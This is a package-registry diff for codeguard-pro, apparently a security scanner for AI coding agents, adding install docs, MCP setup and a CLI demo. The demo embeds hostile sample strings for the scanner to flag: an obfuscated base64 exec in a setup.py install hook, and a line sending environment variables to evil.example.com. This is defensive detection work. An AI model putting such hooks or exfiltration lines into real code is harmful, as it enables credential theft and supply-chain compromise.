codeguard-pro 0.3.0__tar.gz → 0.3.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/PKG-INFO +116 -11
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/README.md +115 -10
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/cli.py +71 -1
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/PKG-INFO +116 -11
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/SOURCES.txt +1 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/entry_points.txt +1 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/top_level.txt +1 -0
- codeguard_pro-0.3.3/demo.py +36 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/server.py +29 -1
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/setup.py +3 -1
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/agent_analyzer.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/autofix.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/dependency_links.txt +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/codeguard_pro.egg-info/requires.txt +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/hook.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/learning_loop.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/secret_scanner.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/setup.cfg +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/supply_chain.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/tools_review.py +0 -0
- {codeguard_pro-0.3.0 → codeguard_pro-0.3.3}/tools_security.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: codeguard-pro
|
|
3
|
-
Version: 0.3.
|
|
3
|
+
Version: 0.3.3
|
|
4
4
|
Summary: Inline security gate for AI coding agents: secrets, supply chain, OWASP, and MiniMax-assisted deep analysis.
|
|
5
5
|
Home-page: https://github.com/Miles0sage/codeguard-mcp
|
|
6
6
|
Author: Miles
|
|
@@ -31,9 +31,9 @@ Dynamic: summary
|
|
|
31
31
|
|
|
32
32
|
# CodeGuard Pro
|
|
33
33
|
|
|
34
|
-
>
|
|
34
|
+
> The inline security gate for AI coding agents.
|
|
35
35
|
|
|
36
|
-
AI coding agents (Claude Code, Cursor, Copilot) write
|
|
36
|
+
AI coding agents (Claude Code, Cursor, Copilot, IDE extensions, MCP-enabled tools) write and install fast. Too fast to reliably catch a hardcoded key, a malicious package, or an obfuscated setup hook. CodeGuard sits **inside that loop**: before install, before commit, and before shipping.
|
|
37
37
|
|
|
38
38
|
```
|
|
39
39
|
$ git commit -m "add payment integration"
|
|
@@ -56,12 +56,40 @@ CodeGuard Pro — scanning for secrets...
|
|
|
56
56
|
## Quick Start
|
|
57
57
|
|
|
58
58
|
```bash
|
|
59
|
-
|
|
60
|
-
git clone https://github.com/Miles0sage/codeguard-mcp && cd codeguard-mcp
|
|
59
|
+
pipx install codeguard-pro
|
|
61
60
|
codeguard install # hooks into your repo's pre-commit
|
|
62
61
|
```
|
|
63
62
|
|
|
64
|
-
That's
|
|
63
|
+
That's the simple path. Every `git commit` now scans for secrets automatically.
|
|
64
|
+
|
|
65
|
+
If you prefer a virtualenv:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
python3 -m venv .venv
|
|
69
|
+
. .venv/bin/activate
|
|
70
|
+
pip install codeguard-pro
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
If you want a quick product demo:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
codeguard demo
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
If you want the MCP server locally:
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
codeguard-mcp
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
## Why People Will Use It
|
|
86
|
+
|
|
87
|
+
- **Simple install**: `pipx install codeguard-pro` or install inside a `venv`
|
|
88
|
+
- **PEP 668 friendly**: works cleanly with `pipx` or inside a `venv`
|
|
89
|
+
- **Agent-focused**: built for Claude/Codex/Cursor-style workflows, not just CI
|
|
90
|
+
- **Real demos**: see [`DEMO.md`](DEMO.md) for outputs captured from the current codebase
|
|
91
|
+
- **Current attack relevance**: `.pth` startup hooks, mutable GitHub Action refs, compromised packages, behavioral setup hooks
|
|
92
|
+
- **Fast feedback loop**: suspicious misses can become saved samples, issue drafts, and regression tests
|
|
65
93
|
|
|
66
94
|
## Features
|
|
67
95
|
|
|
@@ -99,19 +127,42 @@ What it is not yet:
|
|
|
99
127
|
|
|
100
128
|
## MCP Integration
|
|
101
129
|
|
|
102
|
-
|
|
130
|
+
The packaged MCP command is:
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
codeguard-mcp
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
If you run it directly in a terminal, it will print a short hint instead of failing silently. For explicit server mode:
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
codeguard-mcp --stdio
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
Print a ready-to-paste config snippet:
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
codeguard mcp-config
|
|
146
|
+
codeguard mcp-config --client claude
|
|
147
|
+
codeguard mcp-config --client vscode
|
|
148
|
+
codeguard mcp-config --client codex
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
Generic MCP config:
|
|
103
152
|
|
|
104
153
|
```json
|
|
105
154
|
{
|
|
106
155
|
"mcpServers": {
|
|
107
156
|
"codeguard": {
|
|
108
|
-
"command": "
|
|
109
|
-
"args": [
|
|
157
|
+
"command": "codeguard-mcp",
|
|
158
|
+
"args": []
|
|
110
159
|
}
|
|
111
160
|
}
|
|
112
161
|
}
|
|
113
162
|
```
|
|
114
163
|
|
|
164
|
+
Client-specific UIs and file locations vary. The important part is the command: point the MCP client at `codeguard-mcp`.
|
|
165
|
+
|
|
115
166
|
### 23 MCP Tools
|
|
116
167
|
|
|
117
168
|
| Tool | Purpose |
|
|
@@ -144,10 +195,13 @@ Add to your Claude Code config (`~/.claude.json`):
|
|
|
144
195
|
### How Agents Use It
|
|
145
196
|
|
|
146
197
|
```
|
|
147
|
-
Agent writes code
|
|
198
|
+
Agent writes code / wants to install a package
|
|
148
199
|
|
|
|
149
200
|
v
|
|
150
|
-
Agent runs:
|
|
201
|
+
Agent runs:
|
|
202
|
+
- scan_package() before install
|
|
203
|
+
- security_gate(diff) before commit
|
|
204
|
+
- smart_analyze(code) for risky code
|
|
151
205
|
|
|
|
152
206
|
+----+----+
|
|
153
207
|
| |
|
|
@@ -174,10 +228,13 @@ The agent gets structured JSON back:
|
|
|
174
228
|
## CLI Usage
|
|
175
229
|
|
|
176
230
|
```bash
|
|
231
|
+
codeguard init # Install hook, config, and print next steps
|
|
177
232
|
codeguard install # Install pre-commit hook
|
|
178
233
|
codeguard scan ./src # Scan a directory
|
|
179
234
|
codeguard scan app.py # Scan a single file
|
|
180
235
|
codeguard scan-diff # Scan staged changes
|
|
236
|
+
codeguard check litellm # Check a package before install
|
|
237
|
+
codeguard mcp-config # Print MCP config snippet
|
|
181
238
|
codeguard learn-add sample.py --title "obfuscated setup hook"
|
|
182
239
|
codeguard learn-summary
|
|
183
240
|
codeguard uninstall # Remove hook (restores backup)
|
|
@@ -193,6 +250,33 @@ Use `smart_analyze` as the default code-analysis entry point:
|
|
|
193
250
|
|
|
194
251
|
That keeps cost and latency low while still giving you deeper analysis when regex alone is not enough.
|
|
195
252
|
|
|
253
|
+
## Real Demo
|
|
254
|
+
|
|
255
|
+
See [`DEMO.md`](DEMO.md) for:
|
|
256
|
+
- deterministic email-injection detection
|
|
257
|
+
- MiniMax setup.py malware verdict
|
|
258
|
+
- MiniMax credential-exfiltration detection
|
|
259
|
+
- verified test totals used in the current release
|
|
260
|
+
|
|
261
|
+
## Benchmarks
|
|
262
|
+
|
|
263
|
+
Current verified benchmark:
|
|
264
|
+
|
|
265
|
+
- `pytest -q test_*.py` -> `112 passed, 6 skipped`
|
|
266
|
+
- fresh virtualenv install works
|
|
267
|
+
- `codeguard init` works in a new git repo
|
|
268
|
+
- `codeguard demo` works from the installed package
|
|
269
|
+
- clean code stays clean on the fast path
|
|
270
|
+
- adversarial install/injection samples are caught or escalated
|
|
271
|
+
|
|
272
|
+
See [`TESTING.md`](TESTING.md) for the benchmark definition and what the numbers mean.
|
|
273
|
+
|
|
274
|
+
You can also run the local demo directly:
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
codeguard demo
|
|
278
|
+
```
|
|
279
|
+
|
|
196
280
|
## AI Beta
|
|
197
281
|
|
|
198
282
|
MiniMax is wired directly to the official MiniMax API using `MINIMAX_API_KEY`.
|
|
@@ -215,6 +299,12 @@ CodeGuard is strongest when positioned as the security gate that sits *inside* t
|
|
|
215
299
|
- before commit
|
|
216
300
|
- before shipping
|
|
217
301
|
|
|
302
|
+
Visible current-attack angle:
|
|
303
|
+
- TeamPCP-style package compromise
|
|
304
|
+
- `.pth` startup-hook abuse
|
|
305
|
+
- GitHub Actions mutable ref poisoning
|
|
306
|
+
- faster package installs driven by AI agents
|
|
307
|
+
|
|
218
308
|
Current verified beta capabilities:
|
|
219
309
|
- setup-hook malware verdicts for obfuscated `exec(base64.b64decode(...))` patterns
|
|
220
310
|
- behavioral credential exfiltration detection
|
|
@@ -238,6 +328,21 @@ Recommended flow:
|
|
|
238
328
|
|
|
239
329
|
This keeps the product getting smarter without turning it into an opaque self-editing scanner.
|
|
240
330
|
|
|
331
|
+
## Feedback Loop From Misses To Tests
|
|
332
|
+
|
|
333
|
+
This is the intended improvement loop:
|
|
334
|
+
|
|
335
|
+
1. detect a miss or suspicious sample in the real world
|
|
336
|
+
2. save it with `codeguard learn-add`
|
|
337
|
+
3. generate an issue draft with `codeguard learn-report`
|
|
338
|
+
4. decide whether it needs:
|
|
339
|
+
- a deterministic rule
|
|
340
|
+
- an AI prompt change
|
|
341
|
+
- a documented limitation
|
|
342
|
+
5. add a regression test before promoting the change
|
|
343
|
+
|
|
344
|
+
That is how CodeGuard gets better without becoming untrustworthy.
|
|
345
|
+
|
|
241
346
|
## Secret Patterns (25+)
|
|
242
347
|
|
|
243
348
|
| Provider | Pattern | Severity |
|
|
@@ -7,9 +7,9 @@
|
|
|
7
7
|
|
|
8
8
|
# CodeGuard Pro
|
|
9
9
|
|
|
10
|
-
>
|
|
10
|
+
> The inline security gate for AI coding agents.
|
|
11
11
|
|
|
12
|
-
AI coding agents (Claude Code, Cursor, Copilot) write
|
|
12
|
+
AI coding agents (Claude Code, Cursor, Copilot, IDE extensions, MCP-enabled tools) write and install fast. Too fast to reliably catch a hardcoded key, a malicious package, or an obfuscated setup hook. CodeGuard sits **inside that loop**: before install, before commit, and before shipping.
|
|
13
13
|
|
|
14
14
|
```
|
|
15
15
|
$ git commit -m "add payment integration"
|
|
@@ -32,12 +32,40 @@ CodeGuard Pro — scanning for secrets...
|
|
|
32
32
|
## Quick Start
|
|
33
33
|
|
|
34
34
|
```bash
|
|
35
|
-
|
|
36
|
-
git clone https://github.com/Miles0sage/codeguard-mcp && cd codeguard-mcp
|
|
35
|
+
pipx install codeguard-pro
|
|
37
36
|
codeguard install # hooks into your repo's pre-commit
|
|
38
37
|
```
|
|
39
38
|
|
|
40
|
-
That's
|
|
39
|
+
That's the simple path. Every `git commit` now scans for secrets automatically.
|
|
40
|
+
|
|
41
|
+
If you prefer a virtualenv:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
python3 -m venv .venv
|
|
45
|
+
. .venv/bin/activate
|
|
46
|
+
pip install codeguard-pro
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
If you want a quick product demo:
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
codeguard demo
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
If you want the MCP server locally:
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
codeguard-mcp
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
## Why People Will Use It
|
|
62
|
+
|
|
63
|
+
- **Simple install**: `pipx install codeguard-pro` or install inside a `venv`
|
|
64
|
+
- **PEP 668 friendly**: works cleanly with `pipx` or inside a `venv`
|
|
65
|
+
- **Agent-focused**: built for Claude/Codex/Cursor-style workflows, not just CI
|
|
66
|
+
- **Real demos**: see [`DEMO.md`](DEMO.md) for outputs captured from the current codebase
|
|
67
|
+
- **Current attack relevance**: `.pth` startup hooks, mutable GitHub Action refs, compromised packages, behavioral setup hooks
|
|
68
|
+
- **Fast feedback loop**: suspicious misses can become saved samples, issue drafts, and regression tests
|
|
41
69
|
|
|
42
70
|
## Features
|
|
43
71
|
|
|
@@ -75,19 +103,42 @@ What it is not yet:
|
|
|
75
103
|
|
|
76
104
|
## MCP Integration
|
|
77
105
|
|
|
78
|
-
|
|
106
|
+
The packaged MCP command is:
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
codeguard-mcp
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
If you run it directly in a terminal, it will print a short hint instead of failing silently. For explicit server mode:
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
codeguard-mcp --stdio
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Print a ready-to-paste config snippet:
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
codeguard mcp-config
|
|
122
|
+
codeguard mcp-config --client claude
|
|
123
|
+
codeguard mcp-config --client vscode
|
|
124
|
+
codeguard mcp-config --client codex
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
Generic MCP config:
|
|
79
128
|
|
|
80
129
|
```json
|
|
81
130
|
{
|
|
82
131
|
"mcpServers": {
|
|
83
132
|
"codeguard": {
|
|
84
|
-
"command": "
|
|
85
|
-
"args": [
|
|
133
|
+
"command": "codeguard-mcp",
|
|
134
|
+
"args": []
|
|
86
135
|
}
|
|
87
136
|
}
|
|
88
137
|
}
|
|
89
138
|
```
|
|
90
139
|
|
|
140
|
+
Client-specific UIs and file locations vary. The important part is the command: point the MCP client at `codeguard-mcp`.
|
|
141
|
+
|
|
91
142
|
### 23 MCP Tools
|
|
92
143
|
|
|
93
144
|
| Tool | Purpose |
|
|
@@ -120,10 +171,13 @@ Add to your Claude Code config (`~/.claude.json`):
|
|
|
120
171
|
### How Agents Use It
|
|
121
172
|
|
|
122
173
|
```
|
|
123
|
-
Agent writes code
|
|
174
|
+
Agent writes code / wants to install a package
|
|
124
175
|
|
|
|
125
176
|
v
|
|
126
|
-
Agent runs:
|
|
177
|
+
Agent runs:
|
|
178
|
+
- scan_package() before install
|
|
179
|
+
- security_gate(diff) before commit
|
|
180
|
+
- smart_analyze(code) for risky code
|
|
127
181
|
|
|
|
128
182
|
+----+----+
|
|
129
183
|
| |
|
|
@@ -150,10 +204,13 @@ The agent gets structured JSON back:
|
|
|
150
204
|
## CLI Usage
|
|
151
205
|
|
|
152
206
|
```bash
|
|
207
|
+
codeguard init # Install hook, config, and print next steps
|
|
153
208
|
codeguard install # Install pre-commit hook
|
|
154
209
|
codeguard scan ./src # Scan a directory
|
|
155
210
|
codeguard scan app.py # Scan a single file
|
|
156
211
|
codeguard scan-diff # Scan staged changes
|
|
212
|
+
codeguard check litellm # Check a package before install
|
|
213
|
+
codeguard mcp-config # Print MCP config snippet
|
|
157
214
|
codeguard learn-add sample.py --title "obfuscated setup hook"
|
|
158
215
|
codeguard learn-summary
|
|
159
216
|
codeguard uninstall # Remove hook (restores backup)
|
|
@@ -169,6 +226,33 @@ Use `smart_analyze` as the default code-analysis entry point:
|
|
|
169
226
|
|
|
170
227
|
That keeps cost and latency low while still giving you deeper analysis when regex alone is not enough.
|
|
171
228
|
|
|
229
|
+
## Real Demo
|
|
230
|
+
|
|
231
|
+
See [`DEMO.md`](DEMO.md) for:
|
|
232
|
+
- deterministic email-injection detection
|
|
233
|
+
- MiniMax setup.py malware verdict
|
|
234
|
+
- MiniMax credential-exfiltration detection
|
|
235
|
+
- verified test totals used in the current release
|
|
236
|
+
|
|
237
|
+
## Benchmarks
|
|
238
|
+
|
|
239
|
+
Current verified benchmark:
|
|
240
|
+
|
|
241
|
+
- `pytest -q test_*.py` -> `112 passed, 6 skipped`
|
|
242
|
+
- fresh virtualenv install works
|
|
243
|
+
- `codeguard init` works in a new git repo
|
|
244
|
+
- `codeguard demo` works from the installed package
|
|
245
|
+
- clean code stays clean on the fast path
|
|
246
|
+
- adversarial install/injection samples are caught or escalated
|
|
247
|
+
|
|
248
|
+
See [`TESTING.md`](TESTING.md) for the benchmark definition and what the numbers mean.
|
|
249
|
+
|
|
250
|
+
You can also run the local demo directly:
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
codeguard demo
|
|
254
|
+
```
|
|
255
|
+
|
|
172
256
|
## AI Beta
|
|
173
257
|
|
|
174
258
|
MiniMax is wired directly to the official MiniMax API using `MINIMAX_API_KEY`.
|
|
@@ -191,6 +275,12 @@ CodeGuard is strongest when positioned as the security gate that sits *inside* t
|
|
|
191
275
|
- before commit
|
|
192
276
|
- before shipping
|
|
193
277
|
|
|
278
|
+
Visible current-attack angle:
|
|
279
|
+
- TeamPCP-style package compromise
|
|
280
|
+
- `.pth` startup-hook abuse
|
|
281
|
+
- GitHub Actions mutable ref poisoning
|
|
282
|
+
- faster package installs driven by AI agents
|
|
283
|
+
|
|
194
284
|
Current verified beta capabilities:
|
|
195
285
|
- setup-hook malware verdicts for obfuscated `exec(base64.b64decode(...))` patterns
|
|
196
286
|
- behavioral credential exfiltration detection
|
|
@@ -214,6 +304,21 @@ Recommended flow:
|
|
|
214
304
|
|
|
215
305
|
This keeps the product getting smarter without turning it into an opaque self-editing scanner.
|
|
216
306
|
|
|
307
|
+
## Feedback Loop From Misses To Tests
|
|
308
|
+
|
|
309
|
+
This is the intended improvement loop:
|
|
310
|
+
|
|
311
|
+
1. detect a miss or suspicious sample in the real world
|
|
312
|
+
2. save it with `codeguard learn-add`
|
|
313
|
+
3. generate an issue draft with `codeguard learn-report`
|
|
314
|
+
4. decide whether it needs:
|
|
315
|
+
- a deterministic rule
|
|
316
|
+
- an AI prompt change
|
|
317
|
+
- a documented limitation
|
|
318
|
+
5. add a regression test before promoting the change
|
|
319
|
+
|
|
320
|
+
That is how CodeGuard gets better without becoming untrustworthy.
|
|
321
|
+
|
|
217
322
|
## Secret Patterns (25+)
|
|
218
323
|
|
|
219
324
|
| Provider | Pattern | Severity |
|
|
@@ -6,6 +6,8 @@ Usage:
|
|
|
6
6
|
codeguard install Install pre-commit hook in current repo
|
|
7
7
|
codeguard scan <path> Scan a file or directory for secrets
|
|
8
8
|
codeguard scan-diff Scan staged git diff for secrets
|
|
9
|
+
codeguard demo Run a local product demo
|
|
10
|
+
codeguard mcp-config Print MCP config snippet for CodeGuard
|
|
9
11
|
codeguard learn-add Save a suspicious sample for later review
|
|
10
12
|
codeguard learn-report Generate an issue-ready markdown report
|
|
11
13
|
codeguard learn-summary Summarize the local learning corpus
|
|
@@ -293,7 +295,11 @@ def cmd_init(policy: str = "standard"):
|
|
|
293
295
|
print(f" Auto-fix model: {config['autofix_model']}")
|
|
294
296
|
print(f" Block on CRITICAL: {'YES' if config.get('block_on_critical') else 'NO'}")
|
|
295
297
|
print(f" Block on HIGH: {'YES' if config.get('block_on_high') else 'NO'}")
|
|
296
|
-
print(f"\
|
|
298
|
+
print(f"\n{BOLD}Next steps{RESET}")
|
|
299
|
+
print(f" 1. Run {BOLD}codeguard scan .{RESET} to scan your project now.")
|
|
300
|
+
print(f" 2. Run {BOLD}codeguard check <package>{RESET} before installing new dependencies.")
|
|
301
|
+
print(f" 3. Run {BOLD}codeguard mcp-config{RESET} to connect Claude/Codex/Cursor/VS Code MCP clients.")
|
|
302
|
+
print(f" 4. Run {BOLD}codeguard demo{RESET} to see the layered scanner output.")
|
|
297
303
|
|
|
298
304
|
|
|
299
305
|
def cmd_check(packages: list, registry: str = "pypi"):
|
|
@@ -398,6 +404,61 @@ def cmd_learn_summary(corpus_dir: str = "learning"):
|
|
|
398
404
|
print(json.dumps(corpus_summary(corpus_dir), indent=2))
|
|
399
405
|
|
|
400
406
|
|
|
407
|
+
def cmd_demo():
|
|
408
|
+
"""Run a concise local demo of CodeGuard's core flows."""
|
|
409
|
+
from agent_analyzer import smart_analyze, analyze_setup_py, deep_analyze
|
|
410
|
+
|
|
411
|
+
email_sample = "send_mail(request.form['subject'], body, 'noreply@example.com', [to])"
|
|
412
|
+
setup_sample = """from setuptools import setup
|
|
413
|
+
from setuptools.command.install import install
|
|
414
|
+
import base64
|
|
415
|
+
|
|
416
|
+
class PostInstall(install):
|
|
417
|
+
def run(self):
|
|
418
|
+
install.run(self)
|
|
419
|
+
exec(base64.b64decode('aW1wb3J0IG9zLHNvY2tldA=='))
|
|
420
|
+
|
|
421
|
+
setup(name="totally-legit", version="1.0", cmdclass={"install": PostInstall})
|
|
422
|
+
"""
|
|
423
|
+
exfil_sample = """import os, urllib.request
|
|
424
|
+
data = str(dict(os.environ))
|
|
425
|
+
urllib.request.urlopen("http://evil.example.com/collect?d=" + data)
|
|
426
|
+
"""
|
|
427
|
+
|
|
428
|
+
demo = {
|
|
429
|
+
"email_injection": smart_analyze(email_sample, explain_requested=False),
|
|
430
|
+
"setup_behavior": analyze_setup_py(setup_sample),
|
|
431
|
+
"credential_exfiltration": deep_analyze(exfil_sample),
|
|
432
|
+
}
|
|
433
|
+
print(json.dumps(demo, indent=2))
|
|
434
|
+
|
|
435
|
+
|
|
436
|
+
def cmd_mcp_config(server_command: str = "codeguard-mcp", client: str = "generic"):
|
|
437
|
+
"""Print a minimal MCP config snippet for popular clients."""
|
|
438
|
+
config = {
|
|
439
|
+
"mcpServers": {
|
|
440
|
+
"codeguard": {
|
|
441
|
+
"command": server_command,
|
|
442
|
+
"args": [],
|
|
443
|
+
}
|
|
444
|
+
}
|
|
445
|
+
}
|
|
446
|
+
|
|
447
|
+
notes = {
|
|
448
|
+
"generic": "Use this JSON in any MCP client that accepts a command-based server definition.",
|
|
449
|
+
"claude": "Add this server entry to your Claude Code MCP configuration.",
|
|
450
|
+
"cursor": "Add this server entry in Cursor's MCP settings or config file.",
|
|
451
|
+
"vscode": "Use this command in any VS Code MCP extension or MCP client configuration.",
|
|
452
|
+
"codex": "Use this command in any Codex-compatible MCP client configuration.",
|
|
453
|
+
}
|
|
454
|
+
|
|
455
|
+
print(json.dumps({
|
|
456
|
+
"client": client,
|
|
457
|
+
"note": notes.get(client, notes["generic"]),
|
|
458
|
+
"config": config,
|
|
459
|
+
}, indent=2))
|
|
460
|
+
|
|
461
|
+
|
|
401
462
|
def main():
|
|
402
463
|
parser = argparse.ArgumentParser(
|
|
403
464
|
prog="codeguard",
|
|
@@ -419,6 +480,11 @@ def main():
|
|
|
419
480
|
scan_p.add_argument("path", help="File or directory to scan")
|
|
420
481
|
|
|
421
482
|
sub.add_parser("scan-diff", help="Scan staged git diff")
|
|
483
|
+
sub.add_parser("demo", help="Run a local demo")
|
|
484
|
+
|
|
485
|
+
mcp_p = sub.add_parser("mcp-config", help="Print MCP config snippet")
|
|
486
|
+
mcp_p.add_argument("--client", choices=["generic", "claude", "cursor", "vscode", "codex"], default="generic")
|
|
487
|
+
mcp_p.add_argument("--server-command", default="codeguard-mcp", help="Server command to run in the MCP client")
|
|
422
488
|
|
|
423
489
|
check_p = sub.add_parser("check", help="Scan packages BEFORE installing")
|
|
424
490
|
check_p.add_argument("packages", nargs="+", help="Package names to check")
|
|
@@ -449,6 +515,10 @@ def main():
|
|
|
449
515
|
cmd_scan(args.path)
|
|
450
516
|
elif args.command == "scan-diff":
|
|
451
517
|
cmd_scan_diff()
|
|
518
|
+
elif args.command == "demo":
|
|
519
|
+
cmd_demo()
|
|
520
|
+
elif args.command == "mcp-config":
|
|
521
|
+
cmd_mcp_config(args.server_command, args.client)
|
|
452
522
|
elif args.command == "check":
|
|
453
523
|
cmd_check(args.packages, registry="npm" if args.npm else "pypi")
|
|
454
524
|
elif args.command == "learn-add":
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: codeguard-pro
|
|
3
|
-
Version: 0.3.
|
|
3
|
+
Version: 0.3.3
|
|
4
4
|
Summary: Inline security gate for AI coding agents: secrets, supply chain, OWASP, and MiniMax-assisted deep analysis.
|
|
5
5
|
Home-page: https://github.com/Miles0sage/codeguard-mcp
|
|
6
6
|
Author: Miles
|
|
@@ -31,9 +31,9 @@ Dynamic: summary
|
|
|
31
31
|
|
|
32
32
|
# CodeGuard Pro
|
|
33
33
|
|
|
34
|
-
>
|
|
34
|
+
> The inline security gate for AI coding agents.
|
|
35
35
|
|
|
36
|
-
AI coding agents (Claude Code, Cursor, Copilot) write
|
|
36
|
+
AI coding agents (Claude Code, Cursor, Copilot, IDE extensions, MCP-enabled tools) write and install fast. Too fast to reliably catch a hardcoded key, a malicious package, or an obfuscated setup hook. CodeGuard sits **inside that loop**: before install, before commit, and before shipping.
|
|
37
37
|
|
|
38
38
|
```
|
|
39
39
|
$ git commit -m "add payment integration"
|
|
@@ -56,12 +56,40 @@ CodeGuard Pro — scanning for secrets...
|
|
|
56
56
|
## Quick Start
|
|
57
57
|
|
|
58
58
|
```bash
|
|
59
|
-
|
|
60
|
-
git clone https://github.com/Miles0sage/codeguard-mcp && cd codeguard-mcp
|
|
59
|
+
pipx install codeguard-pro
|
|
61
60
|
codeguard install # hooks into your repo's pre-commit
|
|
62
61
|
```
|
|
63
62
|
|
|
64
|
-
That's
|
|
63
|
+
That's the simple path. Every `git commit` now scans for secrets automatically.
|
|
64
|
+
|
|
65
|
+
If you prefer a virtualenv:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
python3 -m venv .venv
|
|
69
|
+
. .venv/bin/activate
|
|
70
|
+
pip install codeguard-pro
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
If you want a quick product demo:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
codeguard demo
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
If you want the MCP server locally:
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
codeguard-mcp
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
## Why People Will Use It
|
|
86
|
+
|
|
87
|
+
- **Simple install**: `pipx install codeguard-pro` or install inside a `venv`
|
|
88
|
+
- **PEP 668 friendly**: works cleanly with `pipx` or inside a `venv`
|
|
89
|
+
- **Agent-focused**: built for Claude/Codex/Cursor-style workflows, not just CI
|
|
90
|
+
- **Real demos**: see [`DEMO.md`](DEMO.md) for outputs captured from the current codebase
|
|
91
|
+
- **Current attack relevance**: `.pth` startup hooks, mutable GitHub Action refs, compromised packages, behavioral setup hooks
|
|
92
|
+
- **Fast feedback loop**: suspicious misses can become saved samples, issue drafts, and regression tests
|
|
65
93
|
|
|
66
94
|
## Features
|
|
67
95
|
|
|
@@ -99,19 +127,42 @@ What it is not yet:
|
|
|
99
127
|
|
|
100
128
|
## MCP Integration
|
|
101
129
|
|
|
102
|
-
|
|
130
|
+
The packaged MCP command is:
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
codeguard-mcp
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
If you run it directly in a terminal, it will print a short hint instead of failing silently. For explicit server mode:
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
codeguard-mcp --stdio
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
Print a ready-to-paste config snippet:
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
codeguard mcp-config
|
|
146
|
+
codeguard mcp-config --client claude
|
|
147
|
+
codeguard mcp-config --client vscode
|
|
148
|
+
codeguard mcp-config --client codex
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
Generic MCP config:
|
|
103
152
|
|
|
104
153
|
```json
|
|
105
154
|
{
|
|
106
155
|
"mcpServers": {
|
|
107
156
|
"codeguard": {
|
|
108
|
-
"command": "
|
|
109
|
-
"args": [
|
|
157
|
+
"command": "codeguard-mcp",
|
|
158
|
+
"args": []
|
|
110
159
|
}
|
|
111
160
|
}
|
|
112
161
|
}
|
|
113
162
|
```
|
|
114
163
|
|
|
164
|
+
Client-specific UIs and file locations vary. The important part is the command: point the MCP client at `codeguard-mcp`.
|
|
165
|
+
|
|
115
166
|
### 23 MCP Tools
|
|
116
167
|
|
|
117
168
|
| Tool | Purpose |
|
|
@@ -144,10 +195,13 @@ Add to your Claude Code config (`~/.claude.json`):
|
|
|
144
195
|
### How Agents Use It
|
|
145
196
|
|
|
146
197
|
```
|
|
147
|
-
Agent writes code
|
|
198
|
+
Agent writes code / wants to install a package
|
|
148
199
|
|
|
|
149
200
|
v
|
|
150
|
-
Agent runs:
|
|
201
|
+
Agent runs:
|
|
202
|
+
- scan_package() before install
|
|
203
|
+
- security_gate(diff) before commit
|
|
204
|
+
- smart_analyze(code) for risky code
|
|
151
205
|
|
|
|
152
206
|
+----+----+
|
|
153
207
|
| |
|
|
